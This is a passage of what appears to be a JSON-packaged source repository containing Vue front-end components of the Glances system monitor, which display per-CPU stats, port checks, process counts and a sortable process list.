{ store } from \"../store.js\";\n\nexport default {\n\tprops: {\n\t\tdata: {\n\t\t\ttype: Object,\n\t\t},\n\t},\n\tdata() {\n\t\treturn {\n\t\t\tstore,\n\t\t};\n\t},\n\tcomputed: {\n\t\targs() {\n\t\t\treturn this.store.args || {};\n\t\t},\n\t\tconfig() {\n\t\t\treturn this.store.config || {};\n\t\t},\n\t\tpercpuStats() {\n\t\t\treturn this.data.stats[\"percpu\"];\n\t\t},\n\t},\n\tmethods: {\n\t\tgetUserAlert(cpu) {\n\t\t\treturn GlancesHelper.getAlert(\"percpu\", \"percpu_user_\", cpu.user);\n\t\t},\n\t\tgetSystemAlert(cpu) {\n\t\t\treturn GlancesHelper.getAlert(\"percpu\", \"percpu_system_\", cpu.system);\n\t\t},\n\t\tgetIOWaitAlert(cpu) {\n\t\t\treturn GlancesHelper.getAlert(\"percpu\", \"percpu_iowait_\", cpu.system);\n\t\t},\n\t},\n};\n</script>"
  },
  {
    "path": "glances/outputs/static/js/components/plugin-ports.vue",
    "content": "<template>\n    <section v-if=\"hasPorts\" id=\"ports\" class=\"plugin\">\n        <table class=\"table table-sm table-borderless margin-bottom\">\n            <tbody>\n                <tr v-for=\"(port, portId) in ports\" :key=\"portId\">\n                    <td scope=\"row\">\n                        <!-- prettier-ignore -->\n                        {{ $filters.minSize(port.description ? port.description : port.host + ' ' + port.port, 20) }}\n                    </td>\n                    <template v-if=\"port.host\">\n                        <td scope=\"row\" class=\"text-end\" :class=\"getPortDecoration(port)\">\n                            <span v-if=\"port.status == 'null'\">Scanning</span>\n                            <span v-else-if=\"port.status == 'false'\">Timeout</span>\n                            <span v-else-if=\"port.status == 'true'\">Open</span>\n                            <span v-else>{{ $filters.number(port.status * 1000.0, 0) }}ms</span>\n                        </td>\n                    </template>\n                    <template v-if=\"port.url\">\n                        <td scope=\"row\" class=\"text-end\" :class=\"getPortDecoration(port)\">\n                            <span v-if=\"port.status == 'null'\">Scanning</span>\n                            <span v-else-if=\"port.status == 'Error'\">Error</span>\n                            <span v-else>Code {{ port.status }}</span>\n                        </td>\n                    </template>\n                </tr>\n            </tbody>\n        </table>\n    </section>\n</template>\n\n<script>\nexport default {\n\tprops: {\n\t\tdata: {\n\t\t\ttype: Object,\n\t\t},\n\t},\n\tcomputed: {\n\t\tstats() {\n\t\t\treturn this.data.stats[\"ports\"];\n\t\t},\n\t\tports() {\n\t\t\treturn this.stats;\n\t\t},\n\t\thasPorts() {\n\t\t\treturn this.ports.length > 0;\n\t\t},\n\t},\n\tmethods: {\n\t\tgetPortDecoration(port) {\n\t\t\tif (port.status === null) {\n\t\t\t\treturn \"careful\";\n\t\t\t} else if (port.status === false) {\n\t\t\t\treturn \"critical\";\n\t\t\t} else if (port.rtt_warning !== null && port.status > port.rtt_warning) {\n\t\t\t\treturn \"warning\";\n\t\t\t}\n\t\t\treturn \"ok\";\n\t\t},\n\t\tgetWebDecoration(web) {\n\t\t\tconst okCodes = [200, 301, 302];\n\n\t\t\tif (web.status === null) {\n\t\t\t\treturn \"careful\";\n\t\t\t} else if (okCodes.indexOf(web.status) === -1) {\n\t\t\t\treturn \"critical\";\n\t\t\t} else if (web.rtt_warning !== null && web.elapsed > web.rtt_warning) {\n\t\t\t\treturn \"warning\";\n\t\t\t}\n\n\t\t\treturn \"ok\";\n\t\t},\n\t},\n};\n</script>"
  },
  {
    "path": "glances/outputs/static/js/components/plugin-process.vue",
    "content": "<template>\n\t<div v-if=\"args.disable_process\">PROCESSES DISABLED (press 'z' to display)</div>\n\t<div v-else>\n\t\t<glances-plugin-processcount :sorter=\"sorter\" :data=\"data\"></glances-plugin-processcount>\n\t\t<div v-if=\"!args.disable_amps\" class=\"row\">\n\t\t\t<div class=\"col-lg-18\">\n\t\t\t\t<glances-plugin-amps :data=\"data\"></glances-plugin-amps>\n\t\t\t</div>\n\t\t</div>\n\t\t<glances-plugin-processlist :sorter=\"sorter\" :data=\"data\"\n\t\t\t@update:sorter=\"args.sort_processes_key = $event\"></glances-plugin-processlist>\n\t</div>\n</template>\n\n<script>\nimport { store } from \"../store.js\";\nimport GlancesPluginAmps from \"./plugin-amps.vue\";\nimport GlancesPluginProcesscount from \"./plugin-processcount.vue\";\nimport GlancesPluginProcesslist from \"./plugin-processlist.vue\";\n\nexport default {\n\tcomponents: {\n\t\tGlancesPluginAmps,\n\t\tGlancesPluginProcesscount,\n\t\tGlancesPluginProcesslist,\n\t},\n\tprops: {\n\t\tdata: {\n\t\t\ttype: Object,\n\t\t},\n\t},\n\tdata() {\n\t\treturn {\n\t\t\tstore,\n\t\t\tsorter: undefined,\n\t\t};\n\t},\n\tcomputed: {\n\t\targs() {\n\t\t\treturn this.store.args || {};\n\t\t},\n\t\tsortProcessesKey() {\n\t\t\treturn this.args.sort_processes_key;\n\t\t},\n\t},\n\twatch: {\n\t\tsortProcessesKey: {\n\t\t\timmediate: true,\n\t\t\thandler(sortProcessesKey) {\n\t\t\t\tconst sortable = [\n\t\t\t\t\t\"cpu_percent\",\n\t\t\t\t\t\"memory_percent\",\n\t\t\t\t\t\"username\",\n\t\t\t\t\t\"timemillis\",\n\t\t\t\t\t\"num_threads\",\n\t\t\t\t\t\"io_counters\",\n\t\t\t\t\t\"name\",\n\t\t\t\t\t\"cpu_num\",\n\t\t\t\t];\n\t\t\t\tfunction isReverseColumn(column) {\n\t\t\t\t\treturn ![\"username\", \"name\", \"timemillis\", \"cpu_num\"].includes(column);\n\t\t\t\t}\n\t\t\t\tfunction getColumnLabel(value) {\n\t\t\t\t\tconst labels = {\n\t\t\t\t\t\tcpu_percent: \"CPU consumption\",\n\t\t\t\t\t\tmemory_percent: \"memory consumption\",\n\t\t\t\t\t\tusername: \"user name\",\n\t\t\t\t\t\ttimemillis: \"process time\",\n\t\t\t\t\t\tcpu_times: \"process time\",\n\t\t\t\t\t\tio_counters: \"disk IO\",\n\t\t\t\t\t\tname: \"process name\",\n\t\t\t\t\t\tcpu_num: \"CPU core number\",\n\t\t\t\t\t\tNone: \"None\",\n\t\t\t\t\t};\n\t\t\t\t\treturn labels[value] || value;\n\t\t\t\t}\n\t\t\t\tif (!sortProcessesKey || sortable.includes(sortProcessesKey)) {\n\t\t\t\t\tthis.sorter = {\n\t\t\t\t\t\tcolumn: this.args.sort_processes_key || \"cpu_percent\",\n\t\t\t\t\t\tauto: !this.args.sort_processes_key,\n\t\t\t\t\t\tisReverseColumn,\n\t\t\t\t\t\tgetColumnLabel,\n\t\t\t\t\t};\n\t\t\t\t}\n\t\t\t},\n\t\t},\n\t},\n};\n</script>"
  },
  {
    "path": "glances/outputs/static/js/components/plugin-processcount.vue",
    "content": "<template>\n    <section id=\"processcount\" class=\"plugin\">\n        <span class=\"title\">TASKS</span>\n        <span>{{ total }} ({{ thread }} thr),</span>\n        <span>{{ running }} run,</span>\n        <span>{{ sleeping }} slp,</span>\n        <span>{{ stopped }} oth</span>\n        <span>{{ args.programs ? 'Programs' : 'Threads' }}</span>\n        <span class=\"title\">{{ sorter.auto ? 'sorted automatically' : 'sorted' }}</span>\n        <span>by {{ sorter.getColumnLabel(sorter.column) }}</span>\n    </section>\n</template>\n\n<script>\nimport { store } from \"../store.js\";\n\nexport default {\n\tprops: {\n\t\tdata: {\n\t\t\ttype: Object,\n\t\t},\n\t\tsorter: {\n\t\t\ttype: Object,\n\t\t},\n\t},\n\tdata() {\n\t\treturn {\n\t\t\tstore,\n\t\t};\n\t},\n\tcomputed: {\n\t\targs() {\n\t\t\treturn this.store.args || {};\n\t\t},\n\t\tstats() {\n\t\t\treturn this.data.stats[\"processcount\"];\n\t\t},\n\t\ttotal() {\n\t\t\treturn this.stats[\"total\"] || 0;\n\t\t},\n\t\trunning() {\n\t\t\treturn this.stats[\"running\"] || 0;\n\t\t},\n\t\tsleeping() {\n\t\t\treturn this.stats[\"sleeping\"] || 0;\n\t\t},\n\t\tstopped() {\n\t\t\treturn this.stats[\"stopped\"] || 0;\n\t\t},\n\t\tthread() {\n\t\t\treturn this.stats[\"thread\"] || 0;\n\t\t},\n\t},\n};\n</script>"
  },
  {
    "path": "glances/outputs/static/js/components/plugin-processlist.vue",
    "content": "<template>\n\n    <!-- Display processes -->\n    <section v-if=\"!args.programs\" id=\"processlist\" class=\"plugin\">\n        <div v-if=\"extended_stats !== null\" class=\"extendedstats\">\n            <div>\n                <span class=\"title\">Pinned task: </span>\n                <span>{{ $filters.limitTo(extended_stats.cmdline, 80) }}</span>\n                <span><button class=\"button\" @click=\"disableExtendedStats()\">Unpin</button></span>\n            </div>\n            <div>\n                <span>CPU Min/Max/Mean: </span>\n                <span class=\"careful\">{{ $filters.number(extended_stats.cpu_min, 1)\n                }}% / {{\n                        $filters.number(extended_stats.cpu_max, 1) }}% / {{ $filters.number(extended_stats.cpu_mean, 1)\n                    }}%</span>\n                <span>Affinity: </span>\n                <span class=\"careful\">{{ extended_stats.cpu_affinity | length }}</span>\n            </div>\n            <div>\n                <span>MEM Min/Max/Mean: </span>\n                <span class=\"careful\">{{ $filters.number(extended_stats.memory_min, 1) }}% / {{\n                    $filters.number(extended_stats.memory_max, 1) }}% / {{ $filters.number(extended_stats.memory_mean,\n                        1)\n                    }}%</span>\n                <span>Memory info: </span>\n                <span class=\"careful\">\n                    {{ $filters.dictToString(extended_stats.memory_info) }}\n                </span>\n            </div>\n        </div>\n        <div v-show=\"is_focus\">Focus on following processes: {{ focus.join(', ') }}</div>\n        <div class=\"table-responsive d-lg-none\" id=\"processlist-table\">\n            <table class=\"table table-sm table-borderless table-striped table-hover\">\n                <thead>\n                    <tr>\n                        <td v-show=\"!getDisableStats().includes('cpu_percent')\" scope=\"col\"\n                            :class=\"['sortable', sorter.column === 'cpu_percent' && 'sort']\"\n                            @click=\"$emit('update:sorter', 'cpu_percent')\">\n                            <span v-show=\"!args.disable_irix\">CPU%</span>\n                            <span v-show=\"args.disable_irix\">CPUi</span>\n                        </td>\n                        <td v-show=\"!getDisableStats().includes('memory_percent')\" scope=\"col\"\n                            :class=\"['sortable', sorter.column === 'memory_percent' && 'sort']\"\n                            @click=\"$emit('update:sorter', 'memory_percent')\">\n                            MEM%\n                        </td>\n                        <td v-show=\"!getDisableStats().includes('pid')\" scope=\"col\">\n                            PID\n                        </td>\n                        <td v-show=\"!getDisableStats().includes('username')\" scope=\"col\"\n                            :class=\"['sortable', sorter.column === 'username' && 'sort']\"\n                            @click=\"$emit('update:sorter', 'username')\">\n                            USER\n                        </td>\n                        <td v-show=\"!getDisableStats().includes('cmdline')\" scope=\"col\"\n                            :class=\"['sortable', sorter.column === 'name' && 'sort']\"\n                            @click=\"$emit('update:sorter', 'name')\">\n                            Command (click to pin)\n                        </td>\n                    </tr>\n                </thead>\n                <tbody>\n                    <tr v-for=\"(process, processId) in processes\" :key=\"processId\" style=\"cursor: pointer\"\n                        @click=\"setExtendedStats(process)\">\n                        <td v-show=\"!getDisableStats().includes('cpu_percent')\" scope=\"row\"\n                            :class=\"getCpuPercentAlert(process)\">\n                            {{ process.cpu_percent == -1 ? '?' : $filters.number(process.cpu_percent / process.irix, 1)\n                            }}\n                        </td>\n                        <td v-show=\"!getDisableStats().includes('memory_percent')\" scope=\"row\"\n                            :class=\"getMemoryPercentAlert(process)\">\n                            {{ process.memory_percent == -1 ? '?' : $filters.number(process.memory_percent, 1) }}\n                        </td>\n                        <td v-show=\"!getDisableStats().includes('pid')\" scope=\"row\">\n                            {{ process.pid }}\n                        </td>\n                        <td v-show=\"args.process_short_name && !getDisableStats().includes('cmdline')\" scope=\"row\"\n                            class=\"text-truncate\">\n                            {{ process.name }}\n                        </td>\n                        <td v-show=\"!args.process_short_name && !getDisableStats().includes('cmdline')\" scope=\"row\"\n                            class=\"text-truncate\">\n                            {{ process.cmdline }}\n                        </td>\n                    </tr>\n                </tbody>\n            </table>\n        </div>\n        <div class=\"table-responsive-md d-none d-lg-block\">\n            <table class=\"table table-sm table-borderless table-striped table-hover\">\n                <thead>\n                    <tr>\n                        <td v-show=\"!getDisableStats().includes('cpu_percent')\" scope=\"col\"\n                            :class=\"['sortable', sorter.column === 'cpu_percent' && 'sort']\"\n                            @click=\"$emit('update:sorter', 'cpu_percent')\">\n                            <span v-show=\"!args.disable_irix\">CPU%</span>\n                            <span v-show=\"args.disable_irix\">CPUi</span>\n                        </td>\n                        <td v-show=\"!getDisableStats().includes('memory_percent')\" scope=\"col\"\n                            :class=\"['sortable', sorter.column === 'memory_percent' && 'sort']\"\n                            @click=\"$emit('update:sorter', 'memory_percent')\">\n                            MEM%\n                        </td>\n                        <td v-show=\"!getDisableStats().includes('memory_info') && !getDisableVms()\" scope=\"col\">\n                            VIRT\n                        </td>\n                        <td v-show=\"!getDisableStats().includes('memory_info')\" scope=\"col\">\n                            RES\n                        </td>\n                        <td v-show=\"!getDisableStats().includes('pid')\" scope=\"col\">\n                            PID\n                        </td>\n                        <td v-show=\"!getDisableStats().includes('username')\" scope=\"col\"\n                            :class=\"['sortable', sorter.column === 'username' && 'sort']\"\n                            @click=\"$emit('update:sorter', 'username')\">\n                            USER\n                        </td>\n                        <td v-show=\"!getDisableStats().includes('cpu_times')\" scope=\"col\"\n                            :class=\"['sortable', sorter.column === 'timemillis' && 'sort']\"\n                            @click=\"$emit('update:sorter', 'timemillis')\">\n                            TIME+\n                        </td>\n                        <td v-show=\"!getDisableStats().includes('num_threads')\" scope=\"col\"\n                            :class=\"['sortable', sorter.column === 'num_threads' && 'sort']\"\n                            @click=\"$emit('update:sorter', 'num_threads')\">\n                            THR\n                        </td>\n                        <td v-show=\"!getDisableStats().includes('nice')\" scope=\"col\">NI</td>\n                        <td v-show=\"!getDisableStats().includes('status')\" scope=\"col\">S\n                        </td>\n                        <td v-show=\"ioReadWritePresentProcesses && !getDisableStats().includes('io_counters')\"\n                            scope=\"col\" class=\"\" :class=\"['sortable', sorter.column === 'io_counters' && 'sort']\"\n                            @click=\"$emit('update:sorter', 'io_counters')\">\n                            IORps\n                        </td>\n                        <td v-show=\"ioReadWritePresentProcesses && !getDisableStats().includes('io_counters')\"\n                            scope=\"col\" class=\"text-start\"\n                            :class=\"['sortable', sorter.column === 'io_counters' && 'sort']\"\n                            @click=\"$emit('update:sorter', 'io_counters')\">\n                            IOWps\n                        </td>\n                        <td v-show=\"!getDisableStats().includes('cpu_num')\" scope=\"col\"\n                            :class=\"['sortable', sorter.column === 'cpu_num' && 'sort']\"\n                            @click=\"$emit('update:sorter', 'cpu_num')\">\n                            CPU\n                        </td>\n                        <td v-show=\"!getDisableStats().includes('cmdline')\" scope=\"col\"\n                            :class=\"['sortable', sorter.column === 'name' && 'sort']\"\n                            @click=\"$emit('update:sorter', 'name')\">\n                            Command (click to pin)\n                        </td>\n                    </tr>\n                </thead>\n                <tbody>\n                    <tr v-for=\"(process, processId) in processes\" :key=\"processId\" style=\"cursor: pointer\"\n                        @click=\"setExtendedStats(process.pid)\">\n                        <td v-show=\"!getDisableStats().includes('cpu_percent')\" scope=\"row\"\n                            :class=\"getCpuPercentAlert(process)\">\n                            {{ process.cpu_percent == -1 ? '?' : $filters.number(process.cpu_percent / process.irix, 1)\n                            }}\n                        </td>\n                        <td v-show=\"!getDisableStats().includes('memory_percent')\" scope=\"row\"\n                            :class=\"getMemoryPercentAlert(process)\">\n                            {{ process.memory_percent == -1 ? '?' : $filters.number(process.memory_percent, 1) }}\n                        </td>\n                        <td v-show=\"!getDisableStats().includes('memory_info') && !getDisableVms()\" scope=\"row\">\n                            {{ $filters.bytes(process.memvirt) }}\n                        </td>\n                        <td v-show=\"!getDisableStats().includes('memory_info')\" scope=\"row\">\n                            {{ $filters.bytes(process.memres) }}\n                        </td>\n                        <td v-show=\"!getDisableStats().includes('pid')\" scope=\"row\">\n                            {{ process.pid }}\n                        </td>\n                        <td v-show=\"!getDisableStats().includes('username')\" scope=\"row\">\n                            {{ process.username }}\n                        </td>\n                        <td v-show=\"!getDisableStats().includes('cpu_times')\" scope=\"row\" class=\"\">\n                            {{ process.timeforhuman }}\n                        </td>\n                        <td v-if=\"process.timeplus == '?'\" v-show=\"!getDisableStats().includes('cpu_times')\" scope=\"row\"\n                            class=\"\">?</td>\n                        <td v-show=\"!getDisableStats().includes('num_threads')\" scope=\"row\" class=\"\">\n                            {{ process.num_threads == -1 ? '?' : process.num_threads }}\n                        </td>\n                        <td v-show=\"!getDisableStats().includes('nice')\" scope=\"row\" :class=\"{ nice: process.isNice }\">\n                            {{ $filters.exclamation(process.nice) }}\n                        </td>\n                        <td v-show=\"!getDisableStats().includes('status')\" scope=\"row\"\n                            :class=\"{ status: process.status == 'R' }\">\n                            {{ process.status }}\n                        </td>\n                        <td v-show=\"ioReadWritePresentProcesses && !getDisableStats().includes('io_counters')\"\n                            scope=\"row\" class=\"\">\n                            {{ $filters.bytes(process.io_read) }}\n                        </td>\n                        <td v-show=\"ioReadWritePresentProcesses && !getDisableStats().includes('io_counters')\"\n                            scope=\"row\" class=\"text-start\">\n                            {{ $filters.bytes(process.io_write) }}\n                        </td>\n                        <td v-show=\"!getDisableStats().includes('cpu_num')\" scope=\"row\">\n                            {{ process.cpu_num == null || process.cpu_num < 0 ? '-' : process.cpu_num }}\n                        </td>\n                        <td v-show=\"args.process_short_name && !getDisableStats().includes('cmdline')\" scope=\"row\"\n                            class=\"text-truncate\">\n                            {{ process.name }}\n                        </td>\n                        <td v-show=\"!args.process_short_name && !getDisableStats().includes('cmdline')\" scope=\"row\"\n                            class=\"text-truncate\">\n                            {{ process.cmdline }}\n                        </td>\n                    </tr>\n                </tbody>\n            </table>\n        </div>\n    </section>\n\n\n    <!-- Display programs -->\n    <section v-if=\"args.programs\" id=\"processlist\" class=\"plugin\">\n        <div class=\"table-responsive d-lg-none\">\n            <table class=\"table table-sm table-borderless table-striped table-hover\">\n                <thead>\n                    <tr>\n                        <td v-show=\"!getDisableStats().includes('cpu_percent')\"\n                            :class=\"['sortable', sorter.column === 'cpu_percent' && 'sort']\"\n                            @click=\"$emit('update:sorter', 'cpu_percent')\">\n                            <span v-show=\"!args.disable_irix\">CPU%</span>\n                            <span v-show=\"args.disable_irix\">CPUi</span>\n                        </td>\n                        <td v-show=\"!getDisableStats().includes('memory_percent')\"\n                            :class=\"['sortable', sorter.column === 'memory_percent' && 'sort']\"\n                            @click=\"$emit('update:sorter', 'memory_percent')\">\n                            MEM%\n                        </td>\n                        <td v-show=\"!getDisableStats().includes('nprocs')\">\n                            NPROCS\n                        </td>\n                        <td v-show=\"!getDisableStats().includes('cmdline')\" scope=\"row\"\n                            :class=\"['sortable', sorter.column === 'name' && 'sort']\"\n                            @click=\"$emit('update:sorter', 'name')\">\n                            Command (click to pin)\n                        </td>\n                    </tr>\n                </thead>\n                <tbody>\n                    <tr v-for=\"(process, processId) in programs\" :key=\"processId\">\n                        <td v-show=\"!getDisableStats().includes('cpu_percent')\" scope=\"row\"\n                            :class=\"getCpuPercentAlert(process)\">\n                            {{ process.cpu_percent == -1 ? '?' : $filters.number(process.cpu_percent / process.irix, 1)\n                            }}\n                        </td>\n                        <td v-show=\"!getDisableStats().includes('memory_percent')\" scope=\"row\"\n                            :class=\"getMemoryPercentAlert(process)\">\n                            {{ process.memory_percent == -1 ? '?' : $filters.number(process.memory_percent, 1) }}\n                        </td>\n                        <td v-show=\"!getDisableStats().includes('nprocs')\" scope=\"row\">\n                            {{ process.nprocs }}\n                        </td>\n                        <td v-show=\"args.process_short_name && !getDisableStats().includes('cmdline')\" scope=\"row\"\n                            class=\"text-truncate\">\n                            {{ process.name }}\n                        </td>\n                        <td v-show=\"!args.process_short_name && !getDisableStats().includes('cmdline')\" scope=\"row\">\n                            {{ process.cmdline }}\n                        </td>\n                    </tr>\n                </tbody>\n            </table>\n        </div>\n        <div class=\"table-responsive d-none d-lg-block\">\n            <table class=\"table table-sm table-borderless table-striped table-hover\">\n                <thead>\n                    <tr>\n                        <td v-show=\"!getDisableStats().includes('cpu_percent')\"\n                            :class=\"['sortable', sorter.column === 'cpu_percent' && 'sort']\"\n                            @click=\"$emit('update:sorter', 'cpu_percent')\">\n                            <span v-show=\"!args.disable_irix\">CPU%</span>\n                            <span v-show=\"args.disable_irix\">CPUi</span>\n                        </td>\n                        <td v-show=\"!getDisableStats().includes('memory_percent')\"\n                            :class=\"['sortable', sorter.column === 'memory_percent' && 'sort']\"\n                            @click=\"$emit('update:sorter', 'memory_percent')\">\n                            MEM%\n                        </td>\n                        <td v-show=\"!getDisableStats().includes('memory_info')\" class=\"\">\n                            VIRT\n                        </td>\n                        <td v-show=\"!getDisableStats().includes('memory_info')\" class=\"\">\n                            RES\n                        </td>\n                        <td v-show=\"!getDisableStats().includes('nprocs')\">\n                            NPROCS\n                        </td>\n                        <td v-show=\"!getDisableStats().includes('username')\" scope=\"row\"\n                            :class=\"['sortable', sorter.column === 'username' && 'sort']\"\n                            @click=\"$emit('update:sorter', 'username')\">\n                            USER\n                        </td>\n                        <td v-show=\"!getDisableStats().includes('cpu_times')\" scope=\"row\" class=\"\"\n                            :class=\"['sortable', sorter.column === 'timemillis' && 'sort']\"\n                            @click=\"$emit('update:sorter', 'timemillis')\">\n                            TIME+\n                        </td>\n                        <td v-show=\"!getDisableStats().includes('num_threads')\" scope=\"row\" class=\"\"\n                            :class=\"['sortable', sorter.column === 'num_threads' && 'sort']\"\n                            @click=\"$emit('update:sorter', 'num_threads')\">\n                            THR\n                        </td>\n                        <td v-show=\"!getDisableStats().includes('nice')\" scope=\"row\">NI</td>\n                        <td v-show=\"!getDisableStats().includes('status')\" scope=\"row\" class=\"table-cell widtd-60\">S\n                        </td>\n                        <td v-show=\"ioReadWritePresentPrograms && !getDisableStats().includes('io_counters')\"\n                            scope=\"row\" class=\"\" :class=\"['sortable', sorter.column === 'io_counters' && 'sort']\"\n                            @click=\"$emit('update:sorter', 'io_counters')\">\n                            IORps\n                        </td>\n                        <td v-show=\"ioReadWritePresentPrograms && !getDisableStats().includes('io_counters')\"\n                            scope=\"row\" class=\"text-start\"\n                            :class=\"['sortable', sorter.column === 'io_counters' && 'sort']\"\n                            @click=\"$emit('update:sorter', 'io_counters')\">\n                            IOWps\n                        </td>\n                        <td v-show=\"!getDisableStats().includes('cpu_num')\" scope=\"col\"\n                            :class=\"['sortable', sorter.column === 'cpu_num' && 'sort']\"\n                            @click=\"$emit('update:sorter', 'cpu_num')\">\n                            CPU\n                        </td>\n                        <td v-show=\"!getDisableStats().includes('cmdline')\" scope=\"row\"\n                            :class=\"['sortable', sorter.column === 'name' && 'sort']\"\n                            @click=\"$emit('update:sorter', 'name')\">\n                            Command (click to pin)\n                        </td>\n                    </tr>\n                </thead>\n                <tbody>\n                    <tr v-for=\"(process, processId) in programs\" :key=\"processId\">\n                        <td v-show=\"!getDisableStats().includes('cpu_percent')\" scope=\"row\"\n                            :class=\"getCpuPercentAlert(process)\">\n                            {{ process.cpu_percent == -1 ? '?' : $filters.number(process.cpu_percent / process.irix, 1)\n                            }}\n                        </td>\n                        <td v-show=\"!getDisableStats().includes('memory_percent')\" scope=\"row\"\n                            :class=\"getMemoryPercentAlert(process)\">\n                            {{ process.memory_percent == -1 ? '?' : $filters.number(process.memory_percent, 1) }}\n                        </td>\n                        <td v-show=\"!getDisableStats().includes('memory_info') && !getDisableVms()\" scope=\"row\">\n                            {{ $filters.bytes(process.memvirt) }}\n                        </td>\n                        <td v-show=\"!getDisableStats().includes('memory_info')\" scope=\"row\">\n                            {{ $filters.bytes(process.memres) }}\n                        </td>\n                        <td v-show=\"!getDisableStats().includes('nprocs')\" scope=\"row\">\n                            {{ process.nprocs }}\n                        </td>\n                        <td v-show=\"!getDisableStats().includes('username')\" scope=\"row\">\n                            {{ process.username }}\n                        </td>\n                        <td v-show=\"!getDisableStats().includes('cpu_times')\" scope=\"row\" class=\"\">\n                            {{ process.timeforhuman }}\n                        </td>\n                        <td v-show=\"!getDisableStats().includes('num_threads')\" scope=\"row\" class=\"\">\n                            {{ process.num_threads == -1 ? '?' : process.num_threads }}\n                        </td>\n                        <td v-show=\"!getDisableStats().includes('nice')\" scope=\"row\" :class=\"{ nice: process.isNice }\">\n                            {{ $filters.exclamation(process.nice) }}\n                        </td>\n                        <td v-show=\"!getDisableStats().includes('status')\" scope=\"row\"\n                            :class=\"{ status: process.status == 'R' }\">\n                            {{ process.status }}\n                        </td>\n                        <td v-show=\"ioReadWritePresentPrograms && !getDisableStats().includes('io_counters')\"\n                            scope=\"row\" class=\"\">\n                            {{ $filters.bytes(process.io_read) }}\n                        </td>\n                        <td v-show=\"ioReadWritePresentPrograms && !getDisableStats().includes('io_counters')\"\n                            scope=\"row\" class=\"text-start\">\n                            {{ $filters.bytes(process.io_write) }}\n                        </td>\n                        <td v-show=\"!getDisableStats().includes('cpu_num')\" scope=\"row\">\n                            {{ process.cpu_num == null || process.cpu_num < 0 ? '-' : process.cpu_num }}\n                        </td>\n                        <td v-show=\"args.process_short_name && !getDisableStats().includes('cmdline')\" scope=\"row\"\n                            class=\"text-truncate\">\n                            {{ process.name }}\n                        </td>\n                        <td v-show=\"!args.process_short_name && !getDisableStats().includes('cmdline')\" scope=\"row\">\n                            {{ process.cmdline }}\n                        </td>\n                    </tr>\n                </tbody>\n            </table>\n        </div>\n    </section>\n</template>\n\n<script>\nimport { last, orderBy } from \"lodash\";\nimport {\n\tdictToString,\n\tlimitTo,\n\tnumber,\n\ttimedelta,\n\ttimemillis,\n} from \"../filters.js\";\nimport { GlancesHelper } from \"../services.js\";\nimport { store } from \"../store.js\";\n\nexport default {\n\tprops: {\n\t\tdata: {\n\t\t\ttype: Object,\n\t\t},\n\t\tsorter: {\n\t\t\ttype: Object,\n\t\t},\n\t},\n\tdata() {\n\t\treturn {\n\t\t\tstore,\n\t\t};\n\t},\n\tcomputed: {\n\t\targs() {\n\t\t\treturn this.store.args || {};\n\t\t},\n\t\tconfig() {\n\t\t\treturn this.store.config || {};\n\t\t},\n\t\tstats_processlist() {\n\t\t\treturn this.data.stats[\"processlist\"];\n\t\t},\n\t\tstats_core() {\n\t\t\treturn this.data.stats[\"core\"];\n\t\t},\n\t\tcpucore() {\n\t\t\treturn this.stats_core[\"log\"] !== 0 ? this.stats_core[\"log\"] : 1;\n\t\t},\n\t\textended_stats() {\n\t\t\treturn (\n\t\t\t\tthis.stats_processlist.find(\n\t\t\t\t\t(item) => item[\"extended_stats\"] === true,\n\t\t\t\t) || null\n\t\t\t);\n\t\t},\n\t\tprocesses() {\n\t\t\tconst { sorter } = this;\n\t\t\tconst processes = (this.stats_processlist || []).map((process) => {\n\t\t\t\treturn this.updateProcess(\n\t\t\t\t\tprocess,\n\t\t\t\t\tthis.data.stats[\"isWindows\"],\n\t\t\t\t\tthis.args,\n\t\t\t\t\tthis.cpucore,\n\t\t\t\t);\n\t\t\t});\n\n\t\t\treturn orderBy(\n\t\t\t\tprocesses,\n\t\t\t\t[sorter.column].reduce((retval, col) => {\n\t\t\t\t\tif (col === \"io_counters\") {\n\t\t\t\t\t\tcol = [\"io_read\", \"io_write\"];\n\t\t\t\t\t}\n\t\t\t\t\treturn retval.concat(col);\n\t\t\t\t}, []),\n\t\t\t\t[sorter.isReverseColumn(sorter.column) ? \"desc\" : \"asc\"],\n\t\t\t).slice(0, this.limit);\n\t\t},\n\t\tioReadWritePresentProcesses() {\n\t\t\treturn (this.stats_processlist || []).some(\n\t\t\t\t({ io_counters }) => io_counters,\n\t\t\t);\n\t\t},\n\t\tstats_programlist() {\n\t\t\treturn this.data.stats[\"programlist\"];\n\t\t},\n\t\tprograms() {\n\t\t\tconst { sorter } = this;\n\t\t\tconst isWindows = this.data.stats[\"isWindows\"];\n\t\t\tconst programs = (this.stats_programlist || []).map((process) => {\n\t\t\t\tprocess.memvirt = \"?\";\n\t\t\t\tprocess.memres = \"?\";\n\t\t\t\tif (process.memory_info) {\n\t\t\t\t\tprocess.memvirt = process.memory_info.vms;\n\t\t\t\t\tprocess.memres = process.memory_info.rss;\n\t\t\t\t}\n\n\t\t\t\tif (isWindows && process.username !== null) {\n\t\t\t\t\tprocess.username = last(process.username.split(\"\\\\\"));\n\t\t\t\t}\n\n\t\t\t\tprocess.timeforhuman = \"?\";\n\t\t\t\tif (process.cpu_times) {\n\t\t\t\t\tprocess.timeplus = timedelta([\n\t\t\t\t\t\tprocess.cpu_times[\"user\"],\n\t\t\t\t\t\tprocess.cpu_times[\"system\"],\n\t\t\t\t\t]);\n\t\t\t\t\tprocess.timeforhuman =\n\t\t\t\t\t\tprocess.timeplus.hours.toString().padStart(2, \"0\") +\n\t\t\t\t\t\t\":\" +\n\t\t\t\t\t\tprocess.timeplus.minutes.toString().padStart(2, \"0\") +\n\t\t\t\t\t\t\":\" +\n\t\t\t\t\t\tprocess.timeplus.seconds.toString().padStart(2, \"0\");\n\t\t\t\t}\n\n\t\t\t\tif (process.num_threads === null) {\n\t\t\t\t\tprocess.num_threads = -1;\n\t\t\t\t}\n\n\t\t\t\tif (process.cpu_percent === null) {\n\t\t\t\t\tprocess.cpu_percent = -1;\n\t\t\t\t}\n\n\t\t\t\tif (process.memory_percent === null) {\n\t\t\t\t\tprocess.memory_percent = -1;\n\t\t\t\t}\n\n\t\t\t\tprocess.io_read = null;\n\t\t\t\tprocess.io_write = null;\n\n\t\t\t\tif (process.io_counters) {\n\t\t\t\t\tprocess.io_read =\n\t\t\t\t\t\t(process.io_counters[0] - process.io_counters[2]) /\n\t\t\t\t\t\tprocess.time_since_update;\n\t\t\t\t\tprocess.io_write =\n\t\t\t\t\t\t(process.io_counters[1] - process.io_counters[3]) /\n\t\t\t\t\t\tprocess.time_since_update;\n\t\t\t\t}\n\n\t\t\t\tprocess.isNice =\n\t\t\t\t\tprocess.nice !== undefined &&\n\t\t\t\t\t((isWindows && 